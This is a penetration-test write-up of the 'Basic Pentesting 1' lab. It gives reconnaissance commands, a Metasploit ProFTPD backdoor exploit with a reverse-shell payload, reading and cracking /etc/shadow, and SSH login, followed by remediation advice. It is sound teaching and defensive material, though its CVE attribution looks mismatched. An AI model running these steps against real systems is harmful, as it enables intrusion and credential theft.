## https://sploitus.com/exploit?id=1E9874F1-17BD-5B9A-902F-53882F9B6634
# Penetration Testing Assessment Report: Basic Pentesting 1
---
## 📄 Executive Summary
During the security assessment of **Basic Pentesting 1**, critical infrastructure vulnerabilities were identified and successfully demonstrated. The target system demonstrated systemic security deficiencies, primary among which was a high-severity backdoor in the active FTP server software allowing immediate, unauthenticated administrative access.
Subsequent post-exploitation activities enabled the extraction of system shadow hashes and successful offline cryptanalysis, yielding valid user credentials for persistent interactive shell access via SSH.
> [!CAUTION]
> **Overall Risk Level: CRITICAL**
> The combination of unauthenticated remote root code execution and weak local password policies allows complete compromise of system integrity, confidentiality, and availability without pre-existing authorization.
---
## 🎯 Engagement & Target Scope
| Parameter | Details |
| :--- | :--- |
| **Target Host Alias** | Basic Pentesting 1 |
| **Target IP Address(es)** | `192.168.1.22` / `192.168.0.105` |
| **Operating System** | Ubuntu 16.04.3 LTS (Linux Kernel x86_64) |
| **Assessment Platform** | Kali Linux |
| **Scope of Work** | Black-box Network Reconnaissance, Vulnerability Identification, Exploitation, and Post-Exploitation Analysis |
---
## 📊 Findings & Risk Rating Matrix
| ID | Finding Title | CVSS v3.1 Score | Severity | Remediation Priority |
| :---: | :--- | :---: | :---: | :---: |
| **VULN-01** | ProFTPD 1.3.3c Unauthenticated Backdoor RCE (CVE-2010-4221) | **10.0** | `CRITICAL` | Immediate |
| **VULN-02** | Weak Account Password Policy & Credential Reuse | **7.8** | `HIGH` | High |
---
## 🔍 Attack Narrative & Methodology
```mermaid
flowchart TD
A[Reconnaissance & Service Discovery] --> B[Identify ProFTPD 1.3.3c on Port 21]
B --> C[Exploit ProFTPD Backdoor RCE]
C --> D[Root Access Achieved]
D --> E[Exfiltrate /etc/shadow]
E --> F[Offline Brute-Force via John the Ripper]
F --> G[Cracked Password: marlinspike]
G --> H[Persistent Interactive SSH Access]
```
### Phase 1: Reconnaissance & Service Discovery
Network mapping was performed to detect live hosts and characterize exposed network services.
```bash
# Network sweep to locate target
sudo arp-scan -l
# Full-port service version scan and default script execution
nmap -sV -sC -p- -T5 192.168.1.22
```
#### Discovered Open Ports & Services
- **Port 21/TCP**: ProFTPD `1.3.3c`
- **Port 22/TCP**: OpenSSH `7.2p2` (Ubuntu edition)
- **Port 80/TCP**: Apache httpd `2.4.18`
---
### Phase 2: Initial Access & Exploitation
Enumeration revealed **ProFTPD version 1.3.3c**, a software build affected by a historical supply-chain source code backdoor (CVE-2010-4221). The Metasploit Framework module `exploit/unix/ftp/proftpd_133c_backdoor` was configured to target the FTP service.
```bash
use exploit/unix/ftp/proftpd_133c_backdoor
set rhost 192.168.1.22
set payload cmd/unix/reverse
exploit
```
#### Module Configuration
#### Payload Execution & Privilege Verification
Upon executing the exploit, a reverse shell connection was established back to the attacker's listener on port `4444`. Verification using `whoami` confirmed root-level privileges.
---
### Phase 3: Credential Harvesting & Cryptanalysis
With administrative privileges confirmed, local account shadow hashes were extracted from `/etc/shadow` to perform offline password cracking.
```bash
# Exfiltrate local shadow database
cat /etc/shadow
```
#### Password Analysis
- **Root Account**: Locked (`!`).
- **User Account (`marlinspike`)**: SHA-512 crypt hash (`$6$...`).
Offline dictionary cryptanalysis was conducted against the `marlinspike` hash using **John the Ripper** and the `rockyou` wordlist:
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```
#### Outcome
- **Cracked Plaintext Password**: `marlinspike`
- **Finding**: Username-identical password utilized for standard system user, violating password complexity policies.
---
### Phase 4: Persistence & Interactive Access
To verify persistency and credential validity across external remote access protocols, SSH authentication was attempted using the cracked credentials:
```bash
ssh marlinspike@192.168.0.105
```
#### Access Verification
Authentication succeeded, establishing a stable interactive shell session for user `marlinspike`.
---
## 💡 Root Cause Analysis & Security Recommendations
> [!IMPORTANT]
> Remediation measures must address both immediate infrastructure vulnerabilities and systemic governance failures regarding credential safety.
### 1. Immediate Remediation Actions
* **Upgrade / Patch ProFTPD**:
Decommission version `1.3.3c` immediately. Upgrade to a current, supported version of ProFTPD verified against clean software repositories, or migrate to secure daemons such as `vsftpd` configured with TLS.
* **Revoke & Enforce Password Changes**:
Force immediate password reset for the `marlinspike` account. Audit all active system user accounts for weak credentials.
### 2. Strategic Hardening Recommendations
* **Implement Network Segmentation & Service Filtering**:
Restrict direct public visibility of management protocols (FTP, SSH) using firewall rules (e.g., `ufw` or border ACLs).
* **Enforce Password Complexity & PAM Rules**:
Configure Pluggable Authentication Modules (`pam_pwquality`) to enforce minimum length, entropy requirements, and prevent usage of username-based passwords.
* **Disable Password-Based SSH Authentication**:
Enforce public-key authentication (`AuthorizedKeysFile`) and disable password-based login (`PasswordAuthentication no`) in `/etc/ssh/sshd_config`.
---
## 🔒 Legal & Ethical Disclaimer
> [!NOTE]
> This security assessment was conducted within a controlled, isolated laboratory environment for educational and security research purposes. All testing performed adhered to ethical security standards and guidelines.